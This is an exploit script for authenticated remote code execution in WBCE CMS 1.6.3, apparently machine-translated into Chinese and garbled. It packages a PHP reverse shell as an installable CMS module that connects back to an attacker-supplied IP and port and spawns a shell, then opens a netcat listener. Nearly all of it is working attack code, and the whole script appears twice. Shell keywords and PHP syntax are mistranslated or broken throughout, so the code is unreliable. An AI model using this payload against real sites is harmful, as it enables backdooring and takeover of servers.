#exploit title: wbce cms=v1.6.3身份验证的远程代码执行(RCE)
#日期: 3/22/2025
#利用作者: swammers8
#供应商HomePage: https://wbce-cms.org/
#软件link: https://github.com/wbce/wbce_cms
#版本: 1.6.3和先验
#测试在: Ubuntu 24.04.2 LTS
#YouTube示范:
#github: https://github.com/swammers8/wbce-v1.6.3-authenticatiCatiencated-rce
#!/bin/bash
#使邮政编码利用
#启动NetCat侦听器
如果[[$#-ne 2]];然后
回声'[*]描述:'
Echo'[*]这是WBCE CMS版本=1.6.3'的身份验证的RCE利用
Echo'[*]它将创建一个感染的模块.zip文件并启动NetCat侦听器。
Echo'[*]创建ZIP后,您将必须登录到管理页面'
回声'[*]上传并安装模块,该模块将立即运行shell'
回声'[*] Shell从: https://github.com/pentestmonkey/php-reverse-shell/tree/master'
echo'[!]用法:'
回声'[*] $ 0 lhost lport'
出口1
fi
如果[-z'$(whes nc)'];然后
echo'[!]未安装NetCat。
出口1
fi
IP=$ 1
端口=$ 2
RM -RF ShellModule.zip
RM -RF ShellModule
mkdir shellModule
Echo [*]制作有效载荷
cat eof shellModule/info.php
php
/**
*
*
*/
\ $ module_directory='modshell';
\ $ module_name='反向外壳';
\ $ module_function='page';
\ $ module_version='1.3.3.7';
\ $ module_platform='2.10.x';
\ $ module_author='swammers8';
\ $ module_license='GNU通用公共许可证';
\ $ module_description='此模块是后门';
?
eof
cat eof shellModule/install.php
php
set_time_limit(0);
\ $版本='1.0';
\ $ ip='$ ip'; //更改此
\ $ port=$ port; //更改此
\ $ chunk_size=1400;
\ $ write_a=null;
\ $ error_a=null;
\ $ shell='uname -a; W; ID; /bin/sh -i';
\ $ daemon=0;
\ $ debug=0;
if(function_exists('pcntl_fork')){
\ $ pid=pcntl_fork();
如果(\ $ pid==-1){
printit('error:不能分叉');
出口(1);
}
如果(\ $ pid){
出口(0); //父母退出
}
if(posix_setsid()==-1){
printit('error:无法setSID()');
出口(1);
}
\ $ daemon=1;
} 别的{
printit('警告:未能进行守护。这很常见,并不致命。”);
}
chdir('/');
umask(0);
\ $ sock=fsocopen(\ $ ip,\ $ port,\ $ errno,\ $ errdstr,30);
如果(!\ $ sock){
printit('\ $ errdstr(\ $ errno)');
出口(1);
}
\ $ distriptorspec=array(
0=阵列('pipe','r'),//stdin是孩子会从中读取的管道
1=array('pipe','w'),//stdout是孩子写信给的管道
2=array('pipe','w')//stderr是孩子写信给的管道
);
\ $ process=proc_open(\ $ shell,\ $ distibcriptorspec,\ $ pipes);
如果(!is_Resource(\ $ process)){
printit('error:无法产生壳');
出口(1);
}
stream_set_blocking(\ $ pipes [0],0);
stream_set_blocking(\ $ pipes [1],0);
stream_set_blocking(\ $ pipes [2],0);
stream_set_blocking(\ $ sock,0);
printit('成功打开反向外壳至\ $ ip: \ $ port');
而(1){
如果(feof(\ $ sock)){
printit('error: shell连接终止');
休息;
}
if(feof(\ $ pipes [1])){
printit('error: shell进程终止');
休息;
}
\ $ read_a=array(\ $ sock,\ $ pipes [1],\ $ pipes [2]);
\ $ num_changed_sockets=stream_select(\ $ read_a,\ $ write_a,\ $ error_a,null);
if(in_array(\ $ sock,\ $ read_a)){
如果(\ $ debug)printit('sock read');
\ $ input=fread(\ $ sock,\ $ chunk_size);
如果(\ $ debug)printit('sock: \ $ input');
fwrite(\ $ pipes [0],\ $输入);
}
if(in_array(\ $ pipes [1],\ $ read_a)){
如果(\ $ debug)printit('stdout read');
\ $ input=fread(\ $ pipes [1],\ $ chunk_size);
如果(\ $ debug)printit('stdout: \ $ input');
fwrite(\ $ sock,\ $输入);
}
if(in_array(\ $ pipes [2],\ $ read_a)){
如果(\ $ debug)printit('stderr read');
\ $ input=fread(\ $ pipes [2],\ $ chunk_size);
如果(\ $ debug)printit('stderr: \ $ input');
fwrite(\ $ sock,\ $输入);
}
}
fclose(\ $袜子);
fclose(\ $ pipes [0]);
fclose(\ $ pipes [1]);
fclose(\ $ pipes [2]);
proc_close(\ $ process);
功能printit(\ $ string){
如果(!\ $ daemon){
打印'\ $ string \ n';
}
}
?
eof
echo [*] z z shellModule.zip
zip -r shellModule.zip shellModule
RM -RF ShellModule
回声[*]请登录到WBCE管理面板上传并安装模块
回声[*]开始听众
NC -LVNP $端口
回声
回声
回声'[*]完成!'
回声'[*]确保在模块页中卸载名为“反向壳”的模块'
#日期: 3/22/2025
#利用作者: swammers8
#供应商HomePage: https://wbce-cms.org/
#软件link: https://github.com/wbce/wbce_cms
#版本: 1.6.3和先验
#测试在: Ubuntu 24.04.2 LTS
#YouTube示范:
#!/bin/bash
#使邮政编码利用
#启动NetCat侦听器
如果[[$#-ne 2]];然后
回声'[*]描述:'
Echo'[*]这是WBCE CMS版本=1.6.3'的身份验证的RCE利用
Echo'[*]它将创建一个感染的模块.zip文件并启动NetCat侦听器。
Echo'[*]创建ZIP后,您将必须登录到管理页面'
回声'[*]上传并安装模块,该模块将立即运行shell'
回声'[*] Shell从: https://github.com/pentestmonkey/php-reverse-shell/tree/master'
echo'[!]用法:'
回声'[*] $ 0 lhost lport'
出口1
fi
如果[-z'$(whes nc)'];然后
echo'[!]未安装NetCat。
出口1
fi
IP=$ 1
端口=$ 2
RM -RF ShellModule.zip
RM -RF ShellModule
mkdir shellModule
Echo [*]制作有效载荷
cat eof shellModule/info.php
php
/**
*
- @Category模块
- @package反向外壳
- @author swammers8
- @link https://swammers8.github.io/
- @license 3http://ww.gnu.org/licenses/gpl.html
- @platform example.com
- @Requirements PHP 5.6及更高
- @version 1.3.3.7
- @lastmodified 2025年5月22日
*
*/
\ $ module_directory='modshell';
\ $ module_name='反向外壳';
\ $ module_function='page';
\ $ module_version='1.3.3.7';
\ $ module_platform='2.10.x';
\ $ module_author='swammers8';
\ $ module_license='GNU通用公共许可证';
\ $ module_description='此模块是后门';
?
eof
cat eof shellModule/install.php
php
set_time_limit(0);
\ $版本='1.0';
\ $ ip='$ ip'; //更改此
\ $ port=$ port; //更改此
\ $ chunk_size=1400;
\ $ write_a=null;
\ $ error_a=null;
\ $ shell='uname -a; W; ID; /bin/sh -i';
\ $ daemon=0;
\ $ debug=0;
if(function_exists('pcntl_fork')){
\ $ pid=pcntl_fork();
如果(\ $ pid==-1){
printit('error:不能分叉');
出口(1);
}
如果(\ $ pid){
出口(0); //父母退出
}
if(posix_setsid()==-1){
printit('error:无法setSID()');
出口(1);
}
\ $ daemon=1;
} 别的{
printit('警告:未能进行守护。这很常见,并不致命。”);
}
chdir('/');
umask(0);
\ $ sock=fsocopen(\ $ ip,\ $ port,\ $ errno,\ $ errdstr,30);
如果(!\ $ sock){
printit('\ $ errdstr(\ $ errno)');
出口(1);
}
\ $ distriptorspec=array(
0=阵列('pipe','r'),//stdin是孩子会从中读取的管道
1=array('pipe','w'),//stdout是孩子写信给的管道
2=array('pipe','w')//stderr是孩子写信给的管道
);
\ $ process=proc_open(\ $ shell,\ $ distibcriptorspec,\ $ pipes);
如果(!is_Resource(\ $ process)){
printit('error:无法产生壳');
出口(1);
}
stream_set_blocking(\ $ pipes [0],0);
stream_set_blocking(\ $ pipes [1],0);
stream_set_blocking(\ $ pipes [2],0);
stream_set_blocking(\ $ sock,0);
printit('成功打开反向外壳至\ $ ip: \ $ port');
而(1){
如果(feof(\ $ sock)){
printit('error: shell连接终止');
休息;
}
if(feof(\ $ pipes [1])){
printit('error: shell进程终止');
休息;
}
\ $ read_a=array(\ $ sock,\ $ pipes [1],\ $ pipes [2]);
\ $ num_changed_sockets=stream_select(\ $ read_a,\ $ write_a,\ $ error_a,null);
if(in_array(\ $ sock,\ $ read_a)){
如果(\ $ debug)printit('sock read');
\ $ input=fread(\ $ sock,\ $ chunk_size);
如果(\ $ debug)printit('sock: \ $ input');
fwrite(\ $ pipes [0],\ $输入);
}
if(in_array(\ $ pipes [1],\ $ read_a)){
如果(\ $ debug)printit('stdout read');
\ $ input=fread(\ $ pipes [1],\ $ chunk_size);
如果(\ $ debug)printit('stdout: \ $ input');
fwrite(\ $ sock,\ $输入);
}
if(in_array(\ $ pipes [2],\ $ read_a)){
如果(\ $ debug)printit('stderr read');
\ $ input=fread(\ $ pipes [2],\ $ chunk_size);
如果(\ $ debug)printit('stderr: \ $ input');
fwrite(\ $ sock,\ $输入);
}
}
fclose(\ $袜子);
fclose(\ $ pipes [0]);
fclose(\ $ pipes [1]);
fclose(\ $ pipes [2]);
proc_close(\ $ process);
功能printit(\ $ string){
如果(!\ $ daemon){
打印'\ $ string \ n';
}
}
?
eof
echo [*] z z shellModule.zip
zip -r shellModule.zip shellModule
RM -RF ShellModule
回声[*]请登录到WBCE管理面板上传并安装模块
回声[*]开始听众
NC -LVNP $端口
回声
回声
回声'[*]完成!'
回声'[*]确保在模块页中卸载名为“反向壳”的模块'